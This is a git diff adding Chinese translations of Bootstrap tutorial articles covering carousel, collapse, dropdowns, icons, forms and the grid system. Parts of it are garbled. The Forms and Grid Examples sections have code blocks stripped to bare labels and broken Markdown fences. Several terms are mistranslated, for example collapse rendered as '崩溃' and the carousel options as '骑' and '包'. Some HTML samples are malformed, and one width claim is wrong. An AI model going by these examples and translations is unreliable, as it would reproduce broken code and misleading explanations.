+   <li data-target="#myCarousel" data-slide-to="0" class="active"></li> 
+   <li data-target="#myCarousel" data-slide-to="1" ></li> 
+   <li data-target="#myCarousel" data-slide-to="2"></li> 
+ </ol> 
+ 
+  <!-- Wrapper for Slides  --> 
+ <div class="carousel-inner"> 
+ 
+ <div  class="item active"> 
+  <img src="http://res.cloudinary.com/dneh1l9vl/image/upload/v1506241850/Hello_bootstrap_ohtphr.png" alt="Hello_Bootstrap" > 
+ </div> 
+ 
+ <div  class="item"> 
+  <img src="http://res.cloudinary.com/dneh1l9vl/image/upload/v1506613859/devices_bootstrap_nk4zlk.jpg" alt="Device_Bootstrap" > 
+ </div> 
+ 
+ <div  class="item"> 
+  <img src="http://res.cloudinary.com/dneh1l9vl/image/upload/v1506613966/responsive_bootstrap_nzuo9l.jpg" alt="Responsive_Bootstrap"> 
+ </div> 
+ 
+ </div> 
+ 
+ <!-- Left and Right Controls for sliding through the slides  --> 
+ 
+ <a class="left carousel-control"  href="#myCarousel" data-slide="prev"> 
+ <span class="glyphicon glyphicon-chevron-left"></span> 
+ </a> 
+ 
+ <a class="right carousel-control"  href="#myCarousel" data-slide="next"> 
+ <span class="glyphicon glyphicon-chevron-right"></span> 
+ </a> 
+ 
+ </div> 
+ </div> 
+ 
+ 
+ <!-- Optional JavaScript --> 
+ <!-- jQuery first, then Popper.js, then Bootstrap JS --> 
+ <script src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script> 
+ 
+ <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.3/umd/popper.min.js" integrity="sha384-vFJXuSJphROIrBnz7yo7oB41mKfc8JzQZiCq4NCceLEaO4IHwicKwpJf9c9IpFgh" crossorigin="anonymous"></script> 
+ 
+ <script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-beta.2/js/bootstrap.min.js" integrity="sha384-alpBpkh1PFOepccYVYDB4do5UnbKysX5WZXm3XxPqe5iKTfUKjNkCk9SaVuEZflJ" crossorigin="anonymous"></script> 
+ 
+ </body> 
+ </html> 
+```
+
+理解上面示例中使用的属性和类：
+
+### 1）属性
+
+a） `data-ride` ： - `data-ride ="carousel"`允许页面加载动画开始。
+
+b） `data-target` ： - 它指向轮播的id
+
+c） `data-slide-to` ： - 它指定在单击指示器（特定点）时要移动到哪个幻灯片。
+
+### 2）课程
+
+a） `carousel` ： - `class="carousel"`指定div包含轮播。
+
+b） `slide` ： - 此类添加CSS过渡。
+
+c） `carousel-inner` ： - 这表示将保存要在幻灯片中显示的文本/图像的代码部分。
+
+d） `item` ： - 它指的是要在轮播中显示的内容。
+
+e） `left carousal-control` ： - 这增加了后退按钮，允许滑动到上一张幻灯片。
+
+f） `right carousal-control` ： - 这增加了下一个按钮，允许滑动到下一张幻灯片。
+
+g） `carousel-caption` ： - 此类允许您为每张幻灯片添加标题。
+
+注意：为每个项目添加`class="carousel-caption"` 。
+
+### 用法
+
+#### 1）通过数据属性
+
+`data-ride="carousel"`属性用于将轮播标记为从页面加载开始的动画。 `data-slide`接受关键字`prev`或`next` ，这会改变相对于当前位置的幻灯片位置。
+
+#### 2）通过JavaScript
+
+手动调用轮播：
+
+`$('.carousel').carousel()`
+
+### 选项
+
+选项可以通过数据属性或JavaScript传递。对于数据属性，将选项名称附加到`data-` ，如`data-interval=""` 。
+
+一些常用的选项是：
+
+*   间隔
+*   暂停
+*   骑
+*   包
+
+## 额外细节
+
+*   [Bootstrap Carousel](https://getbootstrap.com/docs/4.0/components/carousel/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/bootstrap/collapse/index.md b/client/src/guide/chinese/bootstrap/collapse/index.md
new file mode 100644
index 0000000000..2d8a510372
--- /dev/null
+++ b/client/src/guide/chinese/bootstrap/collapse/index.md
@@ -0,0 +1,172 @@
+---
+title: Collapse
+localeTitle: 坍方
+---
+## 坍方
+
+折叠是一个插件，可以帮助您使用平滑动画隐藏或显示元素。开发人员通常使用bootstrap collapse来隐藏或显示网页部分的辅助细节。例如，您可以拥有一个包含很长描述的项目列表。显示所有内容会占用大量空间，因此可以使用bootstrap collapse来隐藏和显示描述。
+
+Bootstrap崩溃作为单独的插件提供，名为collapse.js，这意味着它可以在引导环境之外使用。插件本身可以在这里找到http://getbootstrap.com/2.0.4/javascript.html#collapse。
+
+Bootstrap折叠可以与几个元素，按钮，锚标签或面板一起使用。要使用折叠，您需要至少两个元素，一个元素将控制隐藏或显示另一个元素的状态。
+
+崩溃插件通过更改可折叠元素上的类来工作。有三种可能的类：
+
+*   .collapse - 这个类隐藏了元素
+*   .collapsing - 此类在转换期间附加
+*   .collapse.in - 此类显示元素
+
+### 如何使用它
+
+要使用折叠，您可以通过两种方式执行此操作：
+
+*   在`<a>`标签上使用`href`
+*   在`<button>`标签上使用`data-target`
+
+`href`或`data-target`的值将是要折叠的元素的选择器。如果您决定使用`<a>`或`<button>`标记，则需要`data-toggle="collapse"` 。
+
+要折叠的元素必须包含类`.collapse` 。
+
+### 按钮示例
+
+```html
+
+<a class="btn btn-primary" role="button" data-toggle="collapse" href="#collapseExample" aria-expanded="false" aria-controls="collapseExample"> 
+  Link with href 
+ </a> 
+ <button class="btn btn-primary" type="button" data-toggle="collapse" data-target="#collapseExample" aria-expanded="false" aria-controls="collapseExample"> 
+  Button with data-target 
+ </button> 
+ 
+ <div class="collapse" id="collapseExample"> 
+  <div class="well"> 
+    ... 
+  </div> 
+ </div> 
+```
+
+在上面的示例中，我们使用按钮和锚标记来控制div元素。作为控制元素的按钮和锚需要两个东西，一个属性用于指定控制元素用于折叠，另一个属性用于指定它控制哪个元素（隐藏或显示）。
+
+它们都具有_data-toggle_属性，其值为_collapse_ ，指定它们将用于折叠元素。 anchor标记使用_href_属性指定它控制的元素，而按钮使用_data-target_属性指定它控制的元素。
+
+> 你可以在这里查看按钮的演示https://www.w3schools.com/bootstrap/tryit.asp?filename=trybs\_collapsible&stacked=h
+> 
+> 您可以在此处查看锚标记的演示https://www.w3schools.com/bootstrap/tryit.asp?filename=trybs\_collapsible2&stacked=h
+
+## 手风琴的例子
+
+```html
+
+<div class="panel panel-default"> 
+    <div class="panel-heading" role="tab" id="headingOne"> 
+      <h4 class="panel-title"> 
+        <a role="button" data-toggle="collapse" href="#collapseOne" aria-expanded="true" aria-controls="collapseOne"> 
+          Collapsible Group Item #1 
+        </a> 
+      </h4> 
+    </div> 
+    <div id="collapseOne" class="panel-collapse collapse" role="tabpanel" aria-labelledby="headingOne"> 
+      <div class="panel-body"> 
+            Anim pariatur cliche reprehenderit, enim eiusmod high life accusamus terry richardson ad squid. 3 wolf moon officia aute, non cupidatat skateboard dolor brunch. Food truck quinoa nesciunt laborum eiusmod. Brunch 3 wolf moon tempor, sunt aliqua put a bird on it squid single-origin coffee nulla assumenda shoreditch et. Nihil anim keffiyeh helvetica, craft beer labore wes anderson cred nesciunt sapiente ea proident. Ad vegan excepteur butcher vice lomo. Leggings occaecat craft beer farm-to-table, raw denim aesthetic synth nesciunt you probably haven't heard of them accusamus labore sustainable VHS. 
+      </div> 
+    </div> 
+  </div> 
+```
+
+在上面的例子中，我们使用bootstrap collapse来创建一个手风琴。手风琴只是一个自举面板，其中显示标题并用于控制面板的主体。
+
+面板的头部包含一个锚标记，用于控制身体的塌陷状态。因此，我们附加_数据切换_以指定此元素用于折叠，并使用_href_指定它隐藏或显示的元素。我们还可以使用一组面板来制作面板可折叠面板组。
+
+> 你可以在这里看到面板折叠的演示https://www.w3schools.com/bootstrap/tryit.asp?filename=trybs _collapsible_ accordion＆stacked = h
+
+### 内容元素
+
+一个段落！
+
+```html
+
+<p>Lorem ipsum dolar, Free Code Camp rocks... </p> 
+```
+
+1.  添加`.collapse`类以声明该段落是可折叠元素。
+2.  添加`id`以使此可折叠元素可供控制器元素访问。
+
+```html
+
+<p id="myParagraph" class="collapse">Lorem ipsum dolar, Free Code Camp rocks... </p> 
+```
+
+### 控制器元素
+
+一个按钮！
+
+```html
+
+<button>Click Me To See Some Magic!</button> 
+```
+
+1.  添加`data-toggle="collapse"`属性以控制可折叠元素。
+2.  添加`data-target="#id"`属性以引用具有其id的可折叠元素。
+
+```html
+
+<button data-toggle="collapse" data-target="#myParagraph">Click Me To See Some Magic!</button> 
+```
+
+## 例
+
+```html
+
+<p> 
+  <a class="btn btn-primary" data-toggle="collapse" href="#collapseExample" aria-expanded="false" aria-controls="collapseExample"> 
+    Link with href 
+  </a> 
+  <button class="btn btn-primary" type="button" data-toggle="collapse" data-target="#collapseExample" aria-expanded="false" aria-controls="collapseExample"> 
+    Button with data-target 
+  </button> 
+ </p> 
+ <div class="collapse" id="collapseExample"> 
+  <div class="card card-block"> 
+    Anim pariatur cliche reprehenderit, enim eiusmod high life accusamus terry richardson ad squid. Nihil anim keffiyeh helvetica, craft beer labore wes anderson cred nesciunt sapiente ea proident. 
+  </div> 
+ </div> 
+```
+
+### 与JavaScript一起使用
+
+此插件允许您将其与JavaScript一起使用，您只需选择要折叠的元素即可启用它：
+
+```js
+$('.collapsible-element').collapse(); 
+```
+
+`collapse`方法接受一个可选对象，您可以在其中设置可折叠元素的初始状态。选项是：
+
+*   `toggle` ：它将隐藏或显示元素，具体取决于其状态。如果它被隐藏，它将被显示，如果显示它将被隐藏。
+*   `hide` ：隐藏元素。
+*   `show` ：显示元素。
+
+```js
+$('.collapsible-element').collapse('hide'); 
+```
+
+还有一些暴露的方法可以挂钩到崩溃功能：
+
+*   `show.bs.collapse` ：调用`show`实例方法时立即触发。
+*   `shown.bs.collapse` ：当一个折叠元素对用户可见时触发（将等待CSS转换完成）​​。
+*   `hide.bs.collapse` ：调用`hide`方法后立即触发。
+*   `hidden.bs.collapse` ：在向用户隐藏了一个collapse元素时触发（将等待CSS转换完成）​​。
+
+```js
+$('.collapsible-element').on('show.bs.collapse', function() { 
+  // for example you want to make an AJAX call to get some data to put in the collapsible element. 
+ }) 
+```
+
+### 在行动中看到它
+
+![替代文字](https://github.com/figengungor/Gif/blob/master/freeCodeCamp/bootstrap/collapse/collapse.gif)
+
+#### 更多信息：
+
+[关于崩溃的官方Bootstrap 4指南](https://v4-alpha.getbootstrap.com/components/collapse/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/bootstrap/dropdowns/index.md b/client/src/guide/chinese/bootstrap/dropdowns/index.md
new file mode 100644
index 0000000000..beded540d1
--- /dev/null
+++ b/client/src/guide/chinese/bootstrap/dropdowns/index.md
@@ -0,0 +1,39 @@
+---
+title: Dropdowns
+localeTitle: 下拉菜单
+---
+## 下拉菜单
+
+Bootstrap提供Dropdown作为显示链接列表的插件。 下拉列表是一个切换按钮，显示链接列表。
+
+Bootstrap的下拉菜单设计为通用的，适用于各种情况。例如，可以创建包含搜索字段或登录表单的下拉列表。
+
+## 例
+
+```html
+
+<div class="dropdown"> 
+  <button class="btn btn-secondary dropdown-toggle" type="button" id="dropdownMenuButton" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> 
+    Dropdown example 
+  </button> 
+  <div class="dropdown-menu" aria-labelledby="dropdownMenuButton"> 
+    <a class="dropdown-item" href="#">Action</a> 
+    <a class="dropdown-item" href="#">Another action</a> 
+    <a class="dropdown-item" href="#">Something else here</a> 
+  </div> 
+ </div> 
+```
+
+## 示例说明
+
+_.dropdown_类表示下拉菜单。
+
+要打开下拉菜单，请使用按钮或带有_.dropdown-toggle_类和_data-toggle =“dropdown_属性的链接。
+
+_.caret_类创建一个插入箭头图标（▼），表示该按钮是一个下拉列表。
+
+将_.dropdown-menu_类添加到无序列表元素以实际构建下拉菜单。
+
+#### 更多信息：
+
+https://getbootstrap.com/docs/4.0/components/dropdowns/
\ No newline at end of file
diff --git a/client/src/guide/chinese/bootstrap/fontawesome-icons/index.md b/client/src/guide/chinese/bootstrap/fontawesome-icons/index.md
new file mode 100644
index 0000000000..f9f1814ec2
--- /dev/null
+++ b/client/src/guide/chinese/bootstrap/fontawesome-icons/index.md
@@ -0,0 +1,40 @@
+---
+title: Fontawesome Icons For Bootstrap
+localeTitle: Bootstrap的Fontawesome图标
+---
+## Bootstrap的Fontawesome图标
+
+Bootstrap（版本4）在其最新版本中删除了Glyphicon图标字体。 Fontawesome Icons为您提供超过675个图标，它们以字体格式显示。
+
+#### 如何使用：
+
+在您的html的`<head>`中包含对Font Awesome的引用。
+
+```html
+
+<link href="https://maxcdn.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet"> 
+```
+
+使用fontawesome与使用Glyphicon相同。
+
+只需创建`<i>`或`<span>`标记并应用CSS前缀`fa`和图标的名称。下面提供了一个代码示例。
+
+**代码示例：**
+
+`<i class="fa fa-twitter" aria-hidden="true"></i>`
+
+`<span class="fa fa-freecodecamp" aria-hidden="true"></span>`
+
+#### Fontawesome图标列表：
+
+[这里](http://fontawesome.io/cheatsheet/)提供了fontawesome提供的完整图标列表
+
+`.fa fa-align-left`这是fontawesome align left图标。
+
+`.fa fa-heart`这是一个很棒的心脏图标。
+
+_注意：不要在HTML类属性中包含点，指的是带有点的类仅在调整CSS中的类时使用。_
+
+#### 更多信息：
+
+[Fontawesome Cheatsheet](http://fontawesome.io/cheatsheet/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/bootstrap/form-inputs/index.md b/client/src/guide/chinese/bootstrap/form-inputs/index.md
new file mode 100644
index 0000000000..484090e416
--- /dev/null
+++ b/client/src/guide/chinese/bootstrap/form-inputs/index.md
@@ -0,0 +1,143 @@
+---
+title: Form Inputs
+localeTitle: 表格输入
+---
+## 表格输入
+
+Bootstrap支持以下表单控件：
+
+1.  输入
+2.  textarea的
+3.  复选框
+4.  无线电
+5.  选择
+
+## 示例代码片段
+
+#### 1.输入
+
+Bootstrap支持所有HTML5输入类型：文本，密码，日期时间，日期时间 - 本地，日期，月份，时间，周，数字，电子邮件，网址，搜索，电话和颜色。
+
+**注意：如果输入的类型未正确声明，则输入将不会完全定型！**
+
+以下示例包含两个输入元素;一个类型文本和一个类型密码：
+
+```html
+
+<div class="form-group"> 
+  <label for="usr">Name:</label> 
+  <input type="text" class="form-control" id="usr"> 
+ </div> 
+ <div class="form-group"> 
+  <label for="pwd">Password:</label> 
+  <input type="password" class="form-control" id="pwd"> 
+ </div> 
+```
+
+#### 2\. Textarea
+
+以下示例包含textarea：
+
+```html
+
+<div class="form-group"> 
+  <label for="comment">Comment:</label> 
+  <textarea class="form-control" rows="5" id="comment"></textarea> 
+ </div> 
+```
+
+#### 3.复选框
+
+如果您希望用户从预设选项列表中选择任意数量的选项，则使用复选框。
+
+以下示例包含三个复选框。最后一个选项被禁用：
+
+```html
+
+<div class="checkbox"> 
+  <label> 
+  <input type="checkbox" value="">Option 1</label> 
+ </div> 
+ <div class="checkbox"> 
+  <label> 
+  <input type="checkbox" value="">Option 2</label> 
+ </div> 
+ <div class="checkbox disabled"> 
+  <label> 
+  <input type="checkbox" value="" disabled>Option 3</label> 
+ </div> 
+```
+
+如果希望复选框显示在同一行，请使用**.checkbox-inline**类：
+
+```html
+
+<label class="checkbox-inline"><input type="checkbox" value="">Option 1</label> 
+ <label class="checkbox-inline"><input type="checkbox" value="">Option 2</label> 
+ <label class="checkbox-inline"><input type="checkbox" value="">Option 3</label> 
+```
+
+#### 4.收音机按钮
+
+如果要将用户限制为预设选项列表中的一个选项，则使用单选按钮。
+
+以下示例包含三个单选按钮。最后一个选项被禁用：
+
+```html
+
+<div class="radio"> 
+  <label><input type="radio" name="optradio">Option 1</label> 
+ </div> 
+ <div class="radio"> 
+  <label><input type="radio" name="optradio">Option 2</label> 
+ </div> 
+ <div class="radio disabled"> 
+  <label><input type="radio" name="optradio" disabled>Option 3</label> 
+ </div> 
+```
+
+如果希望复选框显示在同一行，请使用**.radio-inline**类：
+
+```html
+
+<label class="radio-inline"><input type="radio" name="optradio">Option 1</label> 
+ <label class="radio-inline"><input type="radio" name="optradio">Option 2</label> 
+ <label class="radio-inline"><input type="radio" name="optradio">Option 3</label> 
+```
+
+#### 5.选择（列表）
+
+如果要允许用户从多个选项中进行选择，则使用选择列表。
+
+以下示例包含下拉列表（选择列表）：
+
+```html
+
+<div class="form-group"> 
+  <label for="sel1">Select list:</label> 
+  <select class="form-control" id="sel1"> 
+    <option>1</option> 
+    <option>2</option> 
+    <option>3</option> 
+    <option>4</option> 
+  </select> 
+ </div> 
+```
+
+## 如何使Bootstrap输入可访问
+
+输入字段应具有标签或其他形式的标识符，例如WAI-ARIA标记以满足Web 内容可访问性指南或简称[WCAG](https://www.w3.org/WAI/tutorials/forms/) 。为了 用于屏幕阅读器准确地向用户传达哪些标签与标签的哪些输入相关联 应参考相应的输入。
+
+这可以通过在HTML中使用`for`参数来完成：
+
+```html
+
+<label for="email-input">Enter Email</label> 
+ <input type="email" class="form-control" id="email-input" placeholder="Enter Email"> 
+```
+
+标签`for`属性**总是**通过其**ID**引用输入字段。这告诉屏幕阅读器 这个标签绝对适用于这个输入字段，这将最大限度地减少任何正在使用的用户的混淆 一个屏幕阅读器访问一个网站。
+
+### 更多信息：
+
+代码示例来自[W3Schools - Bootstrap Form Inputs](https://www.w3schools.com/bootstrap/bootstrap_forms_inputs.asp) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/bootstrap/forms/index.md b/client/src/guide/chinese/bootstrap/forms/index.md
new file mode 100644
index 0000000000..8c7fc4d197
--- /dev/null
+++ b/client/src/guide/chinese/bootstrap/forms/index.md
@@ -0,0 +1,111 @@
+---
+title: Forms
+localeTitle: 形式
+---
+## ＃＃ 形式
+
+Bootstrap框架提供了一种表单功能，程序员可以使用它来轻松创建漂亮的html表单。使用引导程序表单为每个单独的表单元素提供统一的全局样式。 Bootstrap表单为每个元素添加正确的间距和外观。
+
+每个bootstrap表单元素都应该有一个类_表单控件_ 。这个类是bootstrao如何知道要设置样式的元素。默认情况下，具有_表单控件_类的所有文本元素（如**input** ， **textarea**和**select）**都将具有100％的宽度。 Bootstrap表单有两种类型，它们是：
+
+*   内联表单 - 在单行上创建表单。对导航栏中的登录表单很有用
+*   水平表单 - 创建一个表单，其中每个元素位于不同的行中
+
+## 基本表格的示例
+
+\`\`\`HTML
+
+电子邮件地址 
+
+密码 
+
+文件输入 
+
+此处的块级帮助文本示例。
+
+对我进行检查 
+
+提交
+```
+## Example of an inline form 
+```
+
+HTML
+
+名称 
+
+电子邮件 
+
+发送邀请
+```
+## Example of horizontal form 
+```
+
+HTML
+
+电子邮件
+
+密码
+
+记住账号 
+
+登入
+```
+![Inline Form 2](https://github.com/TroyB12/Pictures/blob/master/Inline%20Form2.PNG) 
+```
+
+HTML
+
+金额（以美元计）
+
+$
+
+.00
+
+转账现金
+```
+Bootstrap forms allow the programmer to use classes to easily make HTML forms presentable and responsive. 
+ Take the following simple form: 
+ 
+ ![](https://siamcomm.com/wp-content/uploads/2017/10/Forms-·-Bootstrap.png) 
+```
+
+HTML
+
+电子邮件地址  我们绝不会与其他任何人分享您的电子邮件。
+
+密码 
+
+ 对我进行检查 
+
+提交
+```
+Individual form fields and the associated label should be wrapped in a `<div>` with a class of `form-group`. One exception to this is when using checkbox field where `form-check` should be used instead of `form-group`. 
+ 
+ The `<input>` tag should be given a class of `form-control`. 
+ 
+ The `<button>` tag should be given the classes of `btn btn-primary`. 
+ 
+ #### More Information: 
+ <!-- Please add any articles you think might be helpful to read before writing the article --> 
+ [The official BootStrap documentation is very helpful](http://getbootstrap.com/docs/4.0/components/forms/) 
+ 
+ ![Inline Form 3](https://github.com/TroyB12/Pictures/blob/master/Inline%20Form3.PNG) 
+ 
+ #### Horizontal Form 
+ In combination with Bootstrap's predefined grid classes to align labels and groups of form controls in a horizontal layout by adding `.form-horizontal` to the form. Doing so changes `.form-group`s to behave as grid rows, so no need for `.row`. 
+```
+
+HTML
+
+电子邮件
+
+密码
+
+记住账号 
+
+登入
+
+\`\`\`
+
+![横向表格](https://github.com/TroyB12/Pictures/blob/master/Horizontal%20Form.PNG)
\ No newline at end of file
diff --git a/client/src/guide/chinese/bootstrap/get-started/index.md b/client/src/guide/chinese/bootstrap/get-started/index.md
new file mode 100644
index 0000000000..32dc1cfcb0
--- /dev/null
+++ b/client/src/guide/chinese/bootstrap/get-started/index.md
@@ -0,0 +1,38 @@
+---
+title: Get Started
+localeTitle: 入门
+---
+## 入门
+
+Bootstrap是一个由Twitter开发的免费开源框架，它提供了各种用于前端Web开发的模板。使用Bootstrap可以轻松设计完全响应的网站，是一个值得学习的框架。
+
+#### 什么是响应式网站
+
+响应式网站是一个网站，可根据浏览器的大小调整和重新排列页面上的项目。通过响应式网站，如果您调整浏览器的大小，您可以看到实时更改。 Bootstrap使您的网站对您有所回应。
+
+#### 如何将Bootstrap添加到我的页面
+
+向页面添加引导程序是一个快速的过程，只需将以下内容添加到代码中的`<head>`标记即可。
+
+```html
+
+<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css" integrity="sha384-MCw98/SFnGE8fJT3GXwEOngsV7Zt27NXFoaoApmYm81iuXoPkFOJwJ8ERdknLPMO" crossorigin="anonymous"> 
+```
+
+您还需要在代码中的`body`标记之间添加以下内容。使用bootstrap时，在使用Bootstrap的许多功能时，你将使用`<div>`标签，每个标签都有自己独特的一组类，允许标签执行它的任务。此Bootstrap指南的其他部分将显示Bootstrap如何使用`<div>`标记的更多示例。 （ `<div>`标签不是Bootstrap独有的，但Bootstrap使用它们。）。下面是代码中添加到代码中的`body`标记以完成入门的代码。请记住，虽然这会创建容器，但在将内容添加到容器之前，页面仍将保持空白。
+
+```html
+
+<div class="alert alert-success" role="alert"> 
+    <strong>Congratulations!</strong> 
+    <p>Bootstrap is now working on this page</p> 
+ </div> 
+```
+
+**恭喜！**
+
+Bootstrap现在正在这个页面上工作
+
+#### 更多信息
+
+*   [Bootstrap的官方网站](http://getbootstrap.com/getting-started/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/bootstrap/glyphicon-components/index.md b/client/src/guide/chinese/bootstrap/glyphicon-components/index.md
new file mode 100644
index 0000000000..138ca36322
--- /dev/null
+++ b/client/src/guide/chinese/bootstrap/glyphicon-components/index.md
@@ -0,0 +1,26 @@
+---
+title: Glyphicon Components
+localeTitle: Glyphicon组件
+---
+## Glyphicon组件
+
+Bootstrap 3包含260个glyphicons。 Glyphicons通常不是免费的，但是他们的创造者已经免费提供Bootstrap。谢天谢地，您应尽可能包含回到Glyphicons的链接。
+
+在文本，导航，按钮，表单或工具栏中使用字形。
+
+## 例子
+
+```html
+
+<p>Star icon: <span class="glyphicon glyphicon-star"></span></p> 
+ <p>Refresh icon: <span class="glyphicon glyphicon-refresh"></span></p> 
+ <p>Envelope icon: <span class="glyphicon glyphicon-envelope"></span></p> 
+```
+
+## 注意
+
+Bootstrap 4掉落了Glyphicons。您可以使用[Font Awesome Icons](http://fontawesome.io/icons/) 。
+
+#### 更多信息：
+
+[有关Glyphicons的官方Bootstrap 3文档](https://getbootstrap.com/docs/3.3/components/#glyphicons) [Glyphicons官方网站](https://glyphicons.com/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/bootstrap/grid-examples/index.md b/client/src/guide/chinese/bootstrap/grid-examples/index.md
new file mode 100644
index 0000000000..4e359e10d3
--- /dev/null
+++ b/client/src/guide/chinese/bootstrap/grid-examples/index.md
@@ -0,0 +1,116 @@
+---
+title: Grid Examples
+localeTitle: 网格示例
+---
+## 网格示例
+
+#### 树等于列
+
+```html
+
+<div class="container"> 
+  <div class="row"> 
+    <div class="col-sm"> 
+      One of three columns 
+    </div> 
+    <div class="col-sm"> 
+      One of three columns 
+    </div> 
+    <div class="col-sm"> 
+      One of three columns 
+    </div> 
+  </div> 
+ </div> 
+```
+
+上面的示例使用我们预定义的网格类在小型，中型，大型和超大型设备上创建三个等宽列。这些列在页面中居中，父级为`.container` 。
+
+#### 三个不平等的列
+
+```html
+
+ <div class="row"> 
+  <div class="col-sm-3">.col-sm-3</div> 
+  <div class="col-sm-6">.col-sm-6</div> 
+  <div class="col-sm-3">.col-sm-3</div> 
+ </div> 
+```
+
+#### 两个不等的列
+
+```html
+
+ <div class="row"> 
+  <div class="col-sm-4">.col-sm-4</div> 
+  <div class="col-sm-8">.col-sm-8</div> 
+ </div> 
+```
+
+#### 两列嵌套列的两列
+
+```html
+
+ <div class="row"> 
+  <div class="col-sm-8"> 
+    .col-sm-8 
+    <div class="row"> 
+      <div class="col-sm-6">.col-sm-6</div> 
+      <div class="col-sm-6">.col-sm-6</div> 
+    </div> 
+  </div> 
+  <div class="col-sm-4">.col-sm-4</div> 
+ </div> 
+```
+
+#### 混合移动和桌面
+
+\`\`\`HTML
+
+.col-xs-7 .col-sm-6 .col-lg-8
+
+.col-xs-5 .col-sm-6 .col-lg-4
+
+.col-xs-6 .col-sm-8 .col-lg-10
+
+.col-xs-6 .col-sm-4 .col-lg-2
+```
+#### Clear Floats 
+ 
+ Clear floats (with the `.clearfix` class) at specific breakpoints to prevent strange wrapping with uneven content: 
+```
+
+HTML
+
+第1栏 调整浏览器窗口的大小以查看效果。
+
+第2栏
+
+第3栏
+
+第4栏
+```
+#### Offsetting Columns 
+ Move columns to the right using `.col-md-offset-*` classes. These classes increase the left margin of a column by * columns: 
+```
+
+HTML
+
+.col-sm-5 .col-md-6
+
+.col-sm-5 .col-sm-offset-2 .col-md-6 .col-md-offset-0
+```
+#### Push And Pull - Change Column Ordering 
+ Change the order of the grid columns with `.col-md-push-*` and `.col-md-pull-*` classes: 
+```
+
+HTML
+
+.col-sm-4 .col-sm-push-8
+
+.col-sm-8 .col-sm-pull-4
+
+\`\`\`
+
+#### 更多信息：
+
+[Bootstrap网格](https://getbootstrap.com/docs/4.0/layout/grid/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/bootstrap/grid-system/index.md b/client/src/guide/chinese/bootstrap/grid-system/index.md
new file mode 100644
index 0000000000..ffdd5b8d6a
--- /dev/null
+++ b/client/src/guide/chinese/bootstrap/grid-system/index.md
@@ -0,0 +1,171 @@
+---
+title: Grid System
+localeTitle: 网格系统
+---
+## 网格系统
+
+简而言之，Bootstrap网格系统可帮助您创建响应式布局，它包含一个行和列系统，可帮助您构建内容。
+
+行是水平的列组，每行最多12列。在每行中，内容放置在列内，并且可以跨越1到12列之间的任何位置。
+
+Bootstrap有五种不同类型的网格层，即Extra small，Small，Medium，Large和Extra large，为每个网格层定义了一个断点。
+
+Bootstrap使用像素来定义网格层断点，作为网格层断点的不同视口宽度为：
+
+#### 怎么运行的
+
+###### 容器
+
+容器是_包含_网格的最外层元素，在屏幕中间使用`container`作为固定宽度的容器（大屏幕上的额外边距）或`container-fluid`的全宽度。
+```
+<div class="container"></div> 
+```
+
+###### 行
+
+使用`row`对`row`进行分组，这将使所有内容保持正确排列并帮助您构建网格。
+```
+<div class="row"></div> 
+```
+
+###### 列
+
+列类指示您希望在每行可能使用的12列中使用的列数。例如`col-sm-6`将意味着你的专栏将使用了宽度的一半`row`在小屏幕上，和`col-lg-4`将使用了大屏幕上的三分之一。
+
+以下是如何定义类前缀以在各种屏幕尺寸上使用一个列宽：
+
+*   **超小** `col-1`
+*   **小** `col-sm-1`
+*   **中等** `col-md-1`
+*   **大** `col-lg-1`
+*   **超大** `col-xl-1`
+```
+<div class="col-sm-1"></div> 
+```
+
+#### 例
+
+一个全宽网格，有四列，每个列在xs屏幕上占据整行，在sm和md屏幕上占据半行，在大屏幕和上面的屏幕上占据行宽度的四分之一。
+```
+<div class="container-fluid"> 
+  <div class="row"> 
+    <div class="col-12 col-sm-6 col-lg-4">First Column</div> 
+    <div class="col-12 col-sm-6 col-lg-4">Second Column</div> 
+    <div class="col-12 col-sm-6 col-lg-4">Third Column</div> 
+    <div class="col-12 col-sm-6 col-lg-4">Forth Column</div> 
+  </div> 
+ </div> 
+```
+
+_请注意，未定义`col-md`和`col-xl` ，其中未定义大小，它将默认为下一个已指定的较小大小。_
+
+Bootstrap提供了一个现成的12列网格系统，用于布局。请考虑以下代码。
+
+```html
+
+   <div class="container"> 
+    <div class="row"> 
+        <div class="col-md-6">Content</div> 
+        <div class="col-md-6">Content</div> 
+    <div> 
+   </div> 
+```
+
+哪里：
+```
+- col = column 
+ - md = screen size 
+ - 6 = column width 
+```
+
+作为12列网格系统，所有用户定义的网格列宽度必须最多为12。
+
+屏幕尺寸值可以分配如下：
+
+*   xs - <768px手机
+    
+*   sm - <992px平板电脑
+    
+*   md - <1200px笔记本电脑
+    
+*   lg - > 1200px台式机
+    
+    Bootstrap首先是移动的并且响应迅速。
+    
+    移动优先意味着网格布局将自动响应较小的屏幕。然后，HTML定义更大屏幕的网格布局。
+    
+
+以下代码和图像显示了使用不同列宽的可能性。
+
+```html
+
+    <div class="container"> 
+        <div class="row"> 
+            <div class="example col-md-6">Content</div> 
+            <div class="example col-md-6">Content</div> 
+        <div> 
+    </div> 
+ 
+    <div class="container"> 
+        <div class="row"> 
+            <div class="example col-md-4">Content</div> 
+            <div class="example col-md-4">Content</div> 
+            <div class="example col-md-4">Content</div> 
+        <div> 
+    </div> 
+ 
+    <div class="container"> 
+        <div class="row"> 
+            <div class="example col-md-3">Content</div> 
+            <div class="example col-md-3">Content</div> 
+            <div class="example col-md-3">Content</div> 
+            <div class="example col-md-3">Content</div> 
+        <div> 
+    </div> 
+ 
+    <div class="container"> 
+        <div class="row"> 
+            <div class="example col-md-2">Content</div> 
+            <div class="example col-md-2">Content</div> 
+            <div class="example col-md-2">Content</div> 
+            <div class="example col-md-2">Content</div> 
+            <div class="example col-md-2">Content</div> 
+            <div class="example col-md-2">Content</div> 
+        <div> 
+    </div> 
+ 
